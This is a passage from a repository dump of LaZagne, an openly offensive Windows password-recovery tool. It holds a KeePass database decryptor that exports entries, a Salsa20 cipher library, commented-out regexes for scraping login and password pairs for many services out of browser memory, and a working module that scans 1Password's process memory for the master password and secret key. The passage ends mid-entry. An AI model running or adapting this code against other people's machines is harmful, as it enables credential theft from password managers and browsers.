self.out_buffer.write(self.header.StreamStartBytes)\n        # append blocked data to out-buffer\n        block_buffer.write_block_stream(self.out_buffer)\n        block_buffer.close()\n        self.out_buffer.seek(0)\n\n        # encrypt the whole thing with header settings and master key\n        data = pad(self.out_buffer.read())\n        self.out_buffer = aes_cbc_encrypt(data, self.master_key,\n                                          self.header.EncryptionIV)\n\n    def _unzip(self):\n        \"\"\"\n        Inplace decompress in-buffer. Read/write position is moved to 0.\n        \"\"\"\n        self.in_buffer.seek(0)\n        d = zlib.decompressobj(16 + zlib.MAX_WBITS)\n        self.in_buffer = io.BytesIO(d.decompress(self.in_buffer.read()))\n        self.in_buffer.seek(0)\n\n    def _zip(self):\n        \"\"\"\n        Inplace compress out-buffer. Read/write position is moved to 0.\n        \"\"\"\n        data = self.out_buffer.read()\n        self.out_buffer = io.BytesIO()\n        # note: compresslevel=6 seems to be important for kdb4!\n        gz = gzip.GzipFile(fileobj=self.out_buffer, mode='wb', compresslevel=6)\n        gz.write(data)\n        gz.close()\n        self.out_buffer.seek(0)\n\n    def _make_master_key(self):\n        \"\"\"\n        Make the master key by (1) combining the credentials to create \n        a composite hash, (2) transforming the hash using the transform seed\n        for a specific number of rounds and (3) finally hashing the result in \n        combination with the master seed.\n        \"\"\"\n        super(KDB4File, self)._make_master_key()\n        composite = sha256(''.join(self.keys))\n        tkey = transform_key(composite,\n                             self.header.TransformSeed,\n                             self.header.TransformRounds)\n        self.master_key = sha256(self.header.MasterSeed + tkey)\n\n\nclass KDBXmlExtension:\n    \"\"\"\n    The KDB4 payload is a XML document. For easier use this class provides\n    a lxml.objectify'ed version of the XML-tree as the `obj_root` attribute.\n    \n    More importantly though in the XML document text values can be protected\n    using Salsa20. Protected elements are unprotected by default (passwords are\n    in clear). You can override this with the `unprotect=False` argument.\n    \"\"\"\n\n    def __init__(self, unprotect=True):\n        self._salsa_buffer = bytearray()\n        self.salsa = Salsa20(\n            sha256(self.header.ProtectedStreamKey),\n            KDB4_SALSA20_IV)\n\n        self.in_buffer.seek(0)\n        # self.tree = objectify.parse(self.in_buffer)\n        # self.obj_root = self.tree.getroot()\n        self.obj_root = ElementTree.fromstring(self.in_buffer.read())\n\n        if unprotect:\n            self.unprotect()\n\n    def unprotect(self):\n        \"\"\"\n        Find all elements with a 'Protected=True' attribute and replace the text\n        with an unprotected value in the XML element tree. The original text is\n        set as 'ProtectedValue' attribute and the 'Protected' attribute is set\n        to 'False'. The 'ProtectPassword' element in the 'Meta' section is also\n        set to 'False'.\n        \"\"\"\n        self._reset_salsa()\n        for elem in self.obj_root.iterfind('.//Value[@Protected=\"True\"]'):\n            if elem.text is not None:\n                elem.set('ProtectedValue', elem.text)\n                elem.set('Protected', 'False')\n                elem.text = self._unprotect(elem.text)\n\n    # def protect(self):\n    #     \"\"\"\n    #     Find all elements with a 'Protected=False' attribute and replace the\n    #     text with a protected value in the XML element tree. If there was a\n    #     'ProtectedValue' attribute, it is deleted and the 'Protected' attribute\n    #     is set to 'True'. The 'ProtectPassword' element in the 'Meta' section is\n    #     also set to 'True'.\n\n    #     This does not just restore the previous protected value, but reencrypts\n    #     all text values of elements with 'Protected=False'. So you could use\n    #     this after modifying a password, adding a completely new entry or\n    #     deleting entry history items.\n    #     \"\"\"\n    #     self._reset_salsa()\n    #     self.obj_root.Meta.MemoryProtection.ProtectPassword._setText('True')\n    #     for elem in self.obj_root.iterfind('.//Value[@Protected=\"False\"]'):\n    #         etree.strip_attributes(elem, 'ProtectedValue')\n    #         elem.set('Protected', 'True')\n    #         elem._setText(self._protect(elem.text))\n\n    # def pretty_print(self):\n    #     \"\"\"Return a serialization of the element tree.\"\"\"\n    #     return etree.tostring(self.obj_root, pretty_print=True, \n    #         encoding='utf-8', standalone=True)\n\n    def to_dic(self):\n        \"\"\"Return a dictionnary of the element tree.\"\"\"\n        pwd_found = []\n        # print etree.tostring(self.obj_root)\n        root = ElementTree.fromstring(ElementTree.tostring(self.obj_root))\n        for entry in root.findall('.//Root//Entry'):\n            dic = {}\n            for elem in entry.iter('String'):\n                try:\n                    if elem[0].text == 'UserName':\n                        dic['Login'] = elem[1].text\n                    else:\n                        # Replace new line by a point\n                        dic[elem[0].text] = elem[1].text.replace('\\n', '.')\n                except Exception as e:\n                    # print e\n                    pass\n            pwd_found.append(dic)\n        return pwd_found\n\n    # def write_to(self, stream):\n    #     \"\"\"Serialize the element tree to the out-buffer.\"\"\"\n    #     if self.out_buffer is None:\n    #         self.protect()\n    #         self.out_buffer = io.BytesIO(self.pretty_print())\n\n    def _reset_salsa(self):\n        \"\"\"Clear the salsa buffer and reset algorithm counter to 0.\"\"\"\n        self._salsa_buffer = bytearray()\n        self.salsa.set_counter(0)\n\n    def _get_salsa(self, length):\n        \"\"\"\n        Returns the next section of the \"random\" Salsa20 bytes with the \n        requested `length`.\n        \"\"\"\n        while length > len(self._salsa_buffer):\n            new_salsa = self.salsa.encrypt_bytes(str(bytearray(64)))\n            self._salsa_buffer.extend(new_salsa)\n        nacho = self._salsa_buffer[:length]\n        del self._salsa_buffer[:length]\n        return nacho\n\n    def _unprotect(self, string):\n        \"\"\"\n        Base64 decode and XOR the given `string` with the next salsa.\n        Returns an unprotected string.\n        \"\"\"\n        tmp = base64.b64decode(string)\n        return str(xor(tmp, self._get_salsa(len(tmp))))\n\n    def _protect(self, string):\n        \"\"\"\n        XORs the given `string` with the next salsa and base64 encodes it.\n        Returns a protected string.\n        \"\"\"\n        tmp = str(xor(string, self._get_salsa(len(string))))\n        return base64.b64encode(tmp)\n\n\nclass KDB4Reader(KDB4File, KDBXmlExtension):\n    \"\"\"\n    Usually you would want to use the `keepass.open` context manager to open a\n    file. It checks the file signature and creates a suitable reader-instance.\n    \n    doing it by hand is also possible::\n    \n        kdb = keepass.KDB4Reader()\n        kdb.add_credentials(password='secret')\n        with open('passwords.kdb', 'rb') as fh:\n            kdb.read_from(fh)\n    \n    or...::\n    \n        with open('passwords.kdb', 'rb') as fh:\n            kdb = keepass.KDB4Reader(fh, password='secret')\n    \n    \"\"\"\n\n    def __init__(self, stream=None, **credentials):\n        KDB4File.__init__(self, stream, **credentials)\n\n    def read_from(self, stream, unprotect=True):\n        KDB4File.read_from(self, stream)\n        # the extension requires parsed header and decrypted self.in_buffer, so\n        # initialize only here\n        KDBXmlExtension.__init__(self, unprotect)\n\n    # def write_to(self, stream, use_etree=True):\n    #     \"\"\"\n    #     Write the KeePass database back to a KeePass2 compatible file.\n\n    #     :arg stream: A file-like object or IO buffer.\n    #     :arg use_tree: Serialize the element tree to XML to save (default:\n    #         True), Set to False to write the data currently in the in-buffer\n    #         instead.\n    #     \"\"\"\n    #     if use_etree:\n    #         KDBXmlExtension.write_to(self, stream)\n    #     KDB4File.write_to(self, stream)\n"
  },
  {
    "path": "Windows/lazagne/softwares/memory/libkeepass/pureSalsa20.py",
    "content": "#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\"\n    pureSalsa20.py -- a pure Python implementation of the Salsa20 cipher\n    ====================================================================\n    There are comments here by two authors about three pieces of software:\n        comments by Larry Bugbee about\n            Salsa20, the stream cipher by Daniel J. Bernstein \n                 (including comments about the speed of the C version) and\n            pySalsa20, Bugbee's own Python wrapper for salsa20.c\n                 (including some references), and\n        comments by Steve Witham about\n            pureSalsa20, Witham's pure Python 2.5 implementation of Salsa20,\n                which follows pySalsa20's API, and is in this file.\n\n    Salsa20: a Fast Streaming Cipher (comments by Larry Bugbee)\n    -----------------------------------------------------------\n\n    Salsa20 is a fast stream cipher written by Daniel Bernstein \n    that basically uses a hash function and XOR making for fast \n    encryption.  (Decryption uses the same function.)  Salsa20 \n    is simple and quick.  \n    \n    Some Salsa20 parameter values...\n        design strength    128 bits\n        key length         128 or 256 bits, exactly\n        IV, aka nonce      64 bits, always\n        chunk size         must be in multiples of 64 bytes\n    \n    Salsa20 has two reduced versions, 8 and 12 rounds each.\n    \n    One benchmark (10 MB):\n        1.5GHz PPC G4     102/97/89 MB/sec for 8/12/20 rounds\n        AMD Athlon 2500+   77/67/53 MB/sec for 8/12/20 rounds\n          (no I/O and before Python GC kicks in)\n    \n    Salsa20 is a Phase 3 finalist in the EU eSTREAM competition \n    and appears to be one of the fastest ciphers.  It is well \n    documented so I will not attempt any injustice here.  Please \n    see \"References\" below.\n    \n    ...and Salsa20 is \"free for any use\".  \n    \n    \n    pySalsa20: a Python wrapper for Salsa20 (Comments by Larry Bugbee)\n    ------------------------------------------------------------------\n\n    pySalsa20.py is a simple ctypes Python wrapper.  Salsa20 is \n    as it's name implies, 20 rounds, but there are two reduced \n    versions, 8 and 12 rounds each.  Because the APIs are \n    identical, pySalsa20 is capable of wrapping all three \n    versions (number of rounds hardcoded), including a special \n    version that allows you to set the number of rounds with a \n    set_rounds() function.  Compile the version of your choice \n    as a shared library (not as a Python extension), name and \n    install it as libsalsa20.so.\n    \n    Sample usage:\n        from pySalsa20 import Salsa20\n        s20 = Salsa20(key, IV)\n        dataout = s20.encryptBytes(datain)   # same for decrypt\n    \n    This is EXPERIMENTAL software and intended for educational \n    purposes only.  To make experimentation less cumbersome, \n    pySalsa20 is also free for any use.      \n    \n    THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF\n    ANY KIND.  USE AT YOUR OWN RISK.  \n    \n    Enjoy,\n      \n    Larry Bugbee\n    bugbee@seanet.com\n    April 2007\n\n    \n    References:\n    -----------\n      http://en.wikipedia.org/wiki/Salsa20\n      http://en.wikipedia.org/wiki/Daniel_Bernstein\n      http://cr.yp.to/djb.html\n      http://www.ecrypt.eu.org/stream/salsa20p3.html\n      http://www.ecrypt.eu.org/stream/p3ciphers/salsa20/salsa20_p3source.zip\n\n     \n    Prerequisites for pySalsa20:\n    ----------------------------\n      - Python 2.5 (haven't tested in 2.4)\n\n\n    pureSalsa20: Salsa20 in pure Python 2.5 (comments by Steve Witham)\n    ------------------------------------------------------------------\n\n    pureSalsa20 is the stand-alone Python code in this file.\n    It implements the underlying Salsa20 core algorithm\n    and emulates pySalsa20's Salsa20 class API (minus a bug(*)).\n\n    pureSalsa20 is MUCH slower than libsalsa20.so wrapped with pySalsa20--\n    about 1/1000 the speed for Salsa20/20 and 1/500 the speed for Salsa20/8,\n    when encrypting 64k-byte blocks on my computer.\n\n    pureSalsa20 is for cases where portability is much more important than\n    speed.  I wrote it for use in a \"structured\" random number generator.\n\n    There are comments about the reasons for this slowness in\n          http://www.tiac.net/~sw/2010/02/PureSalsa20\n\n    Sample usage:\n        from pureSalsa20 import Salsa20\n        s20 = Salsa20(key, IV)\n        dataout = s20.encryptBytes(datain)   # same for decrypt\n\n    I took the test code from pySalsa20, added a bunch of tests including\n    rough speed tests, and moved them into the file testSalsa20.py.  \n    To test both pySalsa20 and pureSalsa20, type\n        python testSalsa20.py\n\n    (*)The bug (?) in pySalsa20 is this.  The rounds variable is global to the\n    libsalsa20.so library and not switched when switching between instances\n    of the Salsa20 class.\n        s1 = Salsa20( key, IV, 20 )\n        s2 = Salsa20( key, IV, 8 )\n    In this example,\n        with pySalsa20, both s1 and s2 will do 8 rounds of encryption.\n        with pureSalsa20, s1 will do 20 rounds and s2 will do 8 rounds.\n    Perhaps giving each instance its own nRounds variable, which\n    is passed to the salsa20wordtobyte() function, is insecure.  I'm not a \n    cryptographer.\n\n    pureSalsa20.py and testSalsa20.py are EXPERIMENTAL software and \n    intended for educational purposes only.  To make experimentation less \n    cumbersome, pureSalsa20.py and testSalsa20.py are free for any use.\n\n    Revisions:\n    ----------\n      p3.2   Fixed bug that initialized the output buffer with plaintext!\n             Saner ramping of nreps in speed test.\n             Minor changes and print statements.\n      p3.1   Took timing variability out of add32() and rot32().\n             Made the internals more like pySalsa20/libsalsa .\n             Put the semicolons back in the main loop!\n             In encryptBytes(), modify a byte array instead of appending.\n             Fixed speed calculation bug.\n             Used subclasses instead of patches in testSalsa20.py .\n             Added 64k-byte messages to speed test to be fair to pySalsa20.\n      p3     First version, intended to parallel pySalsa20 version 3.\n\n    More references:\n    ----------------\n      http://www.seanet.com/~bugbee/crypto/salsa20/          [pySalsa20]\n      http://cr.yp.to/snuffle.html        [The original name of Salsa20]\n      http://cr.yp.to/snuffle/salsafamily-20071225.pdf [ Salsa20 design]\n      http://www.tiac.net/~sw/2010/02/PureSalsa20\n    \n    THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF\n    ANY KIND.  USE AT YOUR OWN RISK.  \n\n    Cheers,\n\n    Steve Witham sw at remove-this tiac dot net\n    February, 2010\n\"\"\"\n\nfrom array import array\nfrom struct import Struct\nfrom lazagne.config.winstructure import char_to_int\n\nlittle_u64 = Struct(\"<Q\")  # little-endian 64-bit unsigned.\n#    Unpacks to a tuple of one element!\n\nlittle16_i32 = Struct(\"<16i\")  # 16 little-endian 32-bit signed ints.\nlittle4_i32 = Struct(\"<4i\")  # 4 little-endian 32-bit signed ints.\nlittle2_i32 = Struct(\"<2i\")  # 2 little-endian 32-bit signed ints.\n\n_version = 'p3.2'\n\ntry:\n    long\n    xrange\nexcept NameError:\n    long = int\n    xrange = range\n\n\n# ----------- Salsa20 class which emulates pySalsa20.Salsa20 ---------------\n\nclass Salsa20(object):\n    def __init__(self, key=None, iv=None, rounds=20):\n        self._lastChunk64 = True\n        self._IVbitlen = 64  # must be 64 bits\n        self.ctx = [0] * 16\n        if key:\n            self.set_key(key)\n        if iv:\n            self.set_iv(iv)\n\n        self.set_rounds(rounds)\n\n    def set_key(self, key):\n        assert type(key) == str\n        ctx = self.ctx\n        if len(key) == 32:  # recommended\n            constants = \"expand 32-byte k\"\n            ctx[1], ctx[2], ctx[3], ctx[4] = little4_i32.unpack(key[0:16])\n            ctx[11], ctx[12], ctx[13], ctx[14] = little4_i32.unpack(key[16:32])\n        elif len(key) == 16:\n            constants = \"expand 16-byte k\"\n            ctx[1], ctx[2], ctx[3], ctx[4] = little4_i32.unpack(key[0:16])\n            ctx[11], ctx[12], ctx[13], ctx[14] = little4_i32.unpack(key[0:16])\n        else:\n            raise Exception(\"key length isn't 32 or 16 bytes.\")\n        ctx[0], ctx[5], ctx[10], ctx[15] = little4_i32.unpack(constants)\n\n    def set_iv(self, iv):\n        assert type(iv) == str\n        assert len(iv) * 8 == 64, 'nonce (IV) not 64 bits'\n        self.iv = iv\n        ctx = self.ctx\n        ctx[6], ctx[7] = little2_i32.unpack(iv)\n        ctx[8], ctx[9] = 0, 0  # Reset the block counter.\n\n    set_nonce = set_iv  # support an alternate name\n\n    def set_counter(self, counter):\n        assert (type(counter) in (int, long))\n        assert (0 <= counter < 1 << 64), \"counter < 0 or >= 2**64\"\n        ctx = self.ctx\n        ctx[8], ctx[9] = little2_i32.unpack(little_u64.pack(counter))\n\n    def get_counter(self):\n        return little_u64.unpack(little2_i32.pack(*self.ctx[8:10]))[0]\n\n    def set_rounds(self, rounds, testing=False):\n        assert testing or rounds in [8, 12, 20], 'rounds must be 8, 12, 20'\n        self.rounds = rounds\n\n    def encrypt_bytes(self, data):\n        assert type(data) == str, 'data must be byte string'\n        assert self._lastChunk64, 'previous chunk not multiple of 64 bytes'\n        lendata = len(data)\n        munged = array('c', '\\x00' * lendata)\n        for i in xrange(0, lendata, 64):\n            h = salsa20_wordtobyte(self.ctx, self.rounds, check_rounds=False)\n            self.set_counter((self.get_counter() + 1) % 2 ** 64)\n            # Stopping at 2^70 bytes per nonce is user's responsibility.\n            for j in xrange(min(64, lendata - i)):\n                munged[i + j] = chr(char_to_int(data[i + j]) ^ char_to_int(h[j]))\n\n        self._lastChunk64 = not lendata % 64\n        return munged.tostring()\n\n    decrypt_bytes = encrypt_bytes  # encrypt and decrypt use same function\n\n\n# --------------------------------------------------------------------------\n\ndef salsa20_wordtobyte(input, n_rounds=20, check_rounds=True):\n    \"\"\" Do nRounds Salsa20 rounds on a copy of \n            input: list or tuple of 16 ints treated as little-endian unsigneds.\n        Returns a 64-byte string.\n        \"\"\"\n\n    assert (type(input) in (list, tuple) and len(input) == 16)\n    assert (not check_rounds or (n_rounds in [8, 12, 20]))\n\n    x = list(input)\n\n    def XOR(a, b):\n        return a ^ b\n\n    ROTATE = rot32\n    PLUS = add32\n\n    for i in range(n_rounds / 2):\n        # These ...XOR...ROTATE...PLUS... lines are from ecrypt-linux.c\n        # unchanged except for indents and the blank line between rounds:\n        x[4] = XOR(x[4], ROTATE(PLUS(x[0], x[12]), 7))\n        x[8] = XOR(x[8], ROTATE(PLUS(x[4], x[0]), 9))\n        x[12] = XOR(x[12], ROTATE(PLUS(x[8], x[4]), 13))\n        x[0] = XOR(x[0], ROTATE(PLUS(x[12], x[8]), 18))\n        x[9] = XOR(x[9], ROTATE(PLUS(x[5], x[1]), 7))\n        x[13] = XOR(x[13], ROTATE(PLUS(x[9], x[5]), 9))\n        x[1] = XOR(x[1], ROTATE(PLUS(x[13], x[9]), 13))\n        x[5] = XOR(x[5], ROTATE(PLUS(x[1], x[13]), 18))\n        x[14] = XOR(x[14], ROTATE(PLUS(x[10], x[6]), 7))\n        x[2] = XOR(x[2], ROTATE(PLUS(x[14], x[10]), 9))\n        x[6] = XOR(x[6], ROTATE(PLUS(x[2], x[14]), 13))\n        x[10] = XOR(x[10], ROTATE(PLUS(x[6], x[2]), 18))\n        x[3] = XOR(x[3], ROTATE(PLUS(x[15], x[11]), 7))\n        x[7] = XOR(x[7], ROTATE(PLUS(x[3], x[15]), 9))\n        x[11] = XOR(x[11], ROTATE(PLUS(x[7], x[3]), 13))\n        x[15] = XOR(x[15], ROTATE(PLUS(x[11], x[7]), 18))\n\n        x[1] = XOR(x[1], ROTATE(PLUS(x[0], x[3]), 7))\n        x[2] = XOR(x[2], ROTATE(PLUS(x[1], x[0]), 9))\n        x[3] = XOR(x[3], ROTATE(PLUS(x[2], x[1]), 13))\n        x[0] = XOR(x[0], ROTATE(PLUS(x[3], x[2]), 18))\n        x[6] = XOR(x[6], ROTATE(PLUS(x[5], x[4]), 7))\n        x[7] = XOR(x[7], ROTATE(PLUS(x[6], x[5]), 9))\n        x[4] = XOR(x[4], ROTATE(PLUS(x[7], x[6]), 13))\n        x[5] = XOR(x[5], ROTATE(PLUS(x[4], x[7]), 18))\n        x[11] = XOR(x[11], ROTATE(PLUS(x[10], x[9]), 7))\n        x[8] = XOR(x[8], ROTATE(PLUS(x[11], x[10]), 9))\n        x[9] = XOR(x[9], ROTATE(PLUS(x[8], x[11]), 13))\n        x[10] = XOR(x[10], ROTATE(PLUS(x[9], x[8]), 18))\n        x[12] = XOR(x[12], ROTATE(PLUS(x[15], x[14]), 7))\n        x[13] = XOR(x[13], ROTATE(PLUS(x[12], x[15]), 9))\n        x[14] = XOR(x[14], ROTATE(PLUS(x[13], x[12]), 13))\n        x[15] = XOR(x[15], ROTATE(PLUS(x[14], x[13]), 18))\n\n    for i in range(len(input)):\n        x[i] = PLUS(x[i], input[i])\n    return little16_i32.pack(*x)\n\n\n# --------------------------- 32-bit ops -------------------------------\n\ndef trunc32(w):\n    \"\"\" Return the bottom 32 bits of w as a Python int.\n        This creates longs temporarily, but returns an int. \"\"\"\n    w = int((w & 0x7fffFFFF) | -(w & 0x80000000))\n    assert type(w) == int\n    return w\n\n\ndef add32(a, b):\n    \"\"\" Add two 32-bit words discarding carry above 32nd bit,\n        and without creating a Python long.\n        Timing shouldn't vary.\n    \"\"\"\n    lo = (a & 0xFFFF) + (b & 0xFFFF)\n    hi = (a >> 16) + (b >> 16) + (lo >> 16)\n    return (-(hi & 0x8000) | (hi & 0x7FFF)) << 16 | (lo & 0xFFFF)\n\n\ndef rot32(w, n_left):\n    \"\"\" Rotate 32-bit word left by nLeft or right by -nLeft\n        without creating a Python long.\n        Timing depends on nLeft but not on w.\n    \"\"\"\n    n_left &= 31  # which makes nLeft >= 0\n    if n_left == 0:\n        return w\n\n    # Note: now 1 <= nLeft <= 31.\n    #     RRRsLLLLLL   There are nLeft RRR's, (31-nLeft) LLLLLL's,\n    # =>  sLLLLLLRRR   and one s which becomes the sign bit.\n    RRR = (((w >> 1) & 0x7fffFFFF) >> (31 - n_left))\n    sLLLLLL = -((1 << (31 - n_left)) & w) | (0x7fffFFFF >> n_left) & w\n    return RRR | (sLLLLLL << n_left)\n\n# --------------------------------- end -----------------------------------\n"
  },
  {
    "path": "Windows/lazagne/softwares/memory/memorydump.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n# Author: Nicolas VERDIER (contact@n1nj4.eu)\n\n\"\"\" \nThis script uses memorpy to dumps cleartext passwords from browser's memory\nIt has been tested on both windows 10 and ubuntu 16.04\nThe regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz\n\"\"\"\n\nfrom .keethief import KeeThief\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\nfrom lazagne.config.winstructure import get_full_path_from_pid\nfrom lazagne.config.lib.memorpy import *\n\n\n# Memorpy has been removed because it takes to much time to execute - could return one day\n\n# create a symbolic link on Windows\n# mklink /J memorpy ..\\..\\..\\..\\external\\memorpy\\memorpy\n\n# password_regex=[\n#     \"(email|log(in)?|user(name)?)=(?P<Login>.{1,25})?&.{0,10}?p[a]?[s]?[s]?[w]?[o]?[r]?[d]?=(?P<Password>.{1,25})&\"\n# ]\n\n# grep to list all URLs (could be useful to find the relation between a user / password and its host)\n# http_regex=[\n#     \"(?P<URL>http[s]?:\\/\\/[a-zA-Z0-9-]{1,61}(\\.[a-zA-Z]{2,})+)\"\n# ]\n\n# password_regex=[\n# \t(\"Gmail\",\"&Email=(?P<Login>.{1,99})?&Passwd=(?P<Password>.{1,99})?&PersistentCookie=\"),\n# \t(\"Dropbox\",\"login_email=(?P<Login>.{1,99})&login_password=(?P<Password>.{1,99})&\"),\n# \t(\"SalesForce\",\"&display=page&username=(?P<Login>.{1,32})&pw=(?P<Password>.{1,16})&Login=\"),\n# \t(\"Office365\",\"login=(?P<Login>.{1,32})&passwd=(?P<Password>.{1,22})&PPSX=\"),\n# \t(\"MicrosoftOneDrive\",\"login=(?P<Login>.{1,42})&passwd=(?P<Password>.{1,22})&type=.{1,2}&PPFT=\"),\n# \t(\"PayPal\",\"login_email=(?P<Login>.{1,48})&login_password=(?P<Password>.{1,16})&submit=Log\\+In&browser_name\"),\n# \t(\"awsWebServices\",\"&email=(?P<Login>.{1,48})&create=.{1,2}&password=(?P<Password>.{1,22})&metadata1=\"),\n# \t(\"OutlookWeb\",\"&username=(?P<Login>.{1,48})&password=(?P<Password>.{1,48})&passwordText\"),\n# \t(\"Slack\",\"&crumb=.{1,70}&email=(?P<Login>.{1,50})&password=(?P<Password>.{1,48})\"),\n# \t(\"CitrixOnline\",\"emailAddress=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&submit\"),\n# \t(\"Xero \",\"fragment=&userName=(?P<Login>.{1,32})&password=(?P<Password>.{1,22})&__RequestVerificationToken=\"),\n# \t(\"MYOB\",\"UserName=(?P<Login>.{1,50})&Password=(?P<Password>.{1,50})&RememberMe=\"),\n# \t(\"JuniperSSLVPN\",\"tz_offset=-.{1,6}&username=(?P<Login>.{1,22})&password=(?P<Password>.{1,22})&realm=.{1,22}&btnSubmit=\"),\n# \t(\"Twitter\",\"username_or_email%5D=(?P<Login>.{1,42})&session%5Bpassword%5D=(?P<Password>.{1,22})&remember_me=\"),\n# \t(\"Facebook\",\"lsd=.{1,10}&email=(?P<Login>.{1,42})&pass=(?P<Password>.{1,22})&(?:default_)?persistent=\"),\n# \t(\"LinkedIN\",\"session_key=(?P<Login>.{1,50})&session_password=(?P<Password>.{1,50})&isJsEnabled\"),\n# \t(\"Malwr\",\"&username=(?P<Login>.{1,32})&password=(?P<Password>.{1,22})&next=\"),\n# \t(\"VirusTotal\",\"password=(?P<Password>.{1,22})&username=(?P<Login>.{1,42})&next=%2Fen%2F&response_format=json\"),\n# \t(\"AnubisLabs\",\"username=(?P<Login>.{1,42})&password=(?P<Password>.{1,22})&login=login\"),\n# \t(\"CitrixNetScaler\",\"login=(?P<Login>.{1,22})&passwd=(?P<Password>.{1,42})\"),\n# \t(\"RDPWeb\",\"DomainUserName=(?P<Login>.{1,52})&UserPass=(?P<Password>.{1,42})&MachineType\"),\n# \t(\"JIRA\",\"username=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&rememberMe\"),\n# \t(\"Redmine\",\"username=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&login=Login\"),\n# \t(\"Github\",\"%3D%3D&login=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})\"),\n# \t(\"BugZilla\",\"Bugzilla_login=(?P<Login>.{1,50})&Bugzilla_password=(?P<Password>.{1,50})\"),\n# \t(\"Zendesk\",\"user%5Bemail%5D=(?P<Login>.{1,50})&user%5Bpassword%5D=(?P<Password>.{1,50})\"),\n# \t(\"Cpanel\",\"user=(?P<Login>.{1,50})&pass=(?P<Password>.{1,50})\"),\n# ]\n\n# browser_list = [\"iexplore.exe\", \"firefox.exe\", \"chrome.exe\", \"opera.exe\", \"MicrosoftEdge.exe\", \"microsoftedgecp.exe\"]\n# keepass_process = 'keepass.exe'\n\n\nclass MemoryDump(ModuleInfo):\n    def __init__(self):\n        options = {'command': '-m', 'action': 'store_true', 'dest': 'memory_dump',\n                   'help': 'retrieve browsers passwords from memory'}\n        ModuleInfo.__init__(self, 'memory_dump', 'memory', options)\n\n    def run(self):\n        # Too much detected (at least keethief binary), not supported anymore\n        self.debug(u'Not supported anymore !')\n        return []\n\n        # pwd_found = []\n        # for process in Process.list():\n            # if not memorpy:\n            #     if process.get('name', '').lower() in browser_list:\n            #         # Get only child process\n            #         try:\n            #             p = psutil.Process(process.get('pid'))\n            #             if p.parent():\n            #                 if process.get('name', '').lower() != str(p.parent().name().lower()):\n            #                     continue\n            #         except:\n            #             continue\n            #\n            #         try:\n            #             mw = MemWorker(pid=process.get('pid'))\n            #         except ProcessException:\n            #             continue\n            #\n            #         self.debug(u'dumping passwords from %s (pid: %s) ...' % (process.get('name', ''),\n            #                                                                  str(process.get('pid', ''))))\n            #         for _, x in mw.mem_search(password_regex, ftype='groups'):\n            #             login, password = x[-2:]\n            #             pwd_found.append(\n            #                 {\n            #                     'URL'\t\t:\t'Unknown',\n            #                     'Login'\t\t: \tlogin,\n            #                     'Password'\t: \tpassword\n            #                 }\n            #             )\n\n        #     if keepass_process in process.get('name', '').lower():\n        #         full_exe_path = get_full_path_from_pid(process.get('pid'))\n        #         k = KeeThief()\n        #         if k.run(full_exe_path=full_exe_path):\n        #             for keepass in constant.keepass:\n        #                 data = keepass.get('KcpPassword', None)\n        #                 if data: \n        #                     pwd_found.append({\n        #                         'Category': 'KeePass',\n        #                         'KeyType': data['KeyType'],\n        #                         'Login': data['Database'],\n        #                         'Password': data['Password']\n        #                     })\n\n        # return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/memory/onepassword.py",
    "content": "from lazagne.config.lib.memorpy import Process, MemWorker\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass OnePassword(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, \"1Password\", 'memory')\n\n    def run(self):\n        pwd_found = []\n\n        for process in Process.list():\n            if process.get('name') == '1Password.exe':\n                mw = MemWorker(pid=process.get('pid'))\n\n                # Search for Account Details\n                account_details = r'{\"title\":\".*\",\"url\":\"(.*)\",\"ainfo\":\"(.*)\",\"ps\":.*,\"pbe\":.*,' \\\n                                  '\"pgrng\":.*,\"URLs\":\\[{\"l\":\".*\",\"u\":\"(.*)\"}\\],\"b5UserUUID\":\"(.*)\",' \\\n                                  '\"tags\":\\[.*\\]}'\n\n                for _, v in mw.mem_search(account_details, ftype='groups'):\n                    pwd_found.append({\n                        \"Process\": str(process),\n                        'Login URL': str(v[0]),\n                        'Email': str(v[1]),\n                        'User ID': str(v[3]),\n                    })\n\n                # Search for Secret Key\n                secret_key = '{\"name\":\"account-key\",\"value\":\"(.{2}-.{6}-.{6}-.{5}-.{5}-.{5}-.{5})\",\"type\":\"T\"}'\n                for _, v in mw.mem_search(secret_key, ftype='groups'):\n                    pwd_found.append({\n                        'Process': str(process),\n                        'Account Key': str(v[0])\n                    })\n\n                # Search for Master Password\n                master_password = '{\"name\":\"master-password\",\"value\":\"(.*)\",\"type\":\"P\",\"designation\":\"password\"}'\n                junk = '\",\"type\":\"P\",\"designation\":\"password\"}'\n\n                for _, v in mw.mem_search(master_password, ftype='groups'):\n                    v = v[0]  # Remove Tuple\n\n                    if junk in v:  # Hacky way of fixing weird regex bug ?!\n                        v = v.split(junk)[0]\n\n                    pwd_found.append({\n                        'Process': str(process),\n                        'Master Password': str(v)\n                    })\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/multimedia/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/multimedia/eyecon.py",
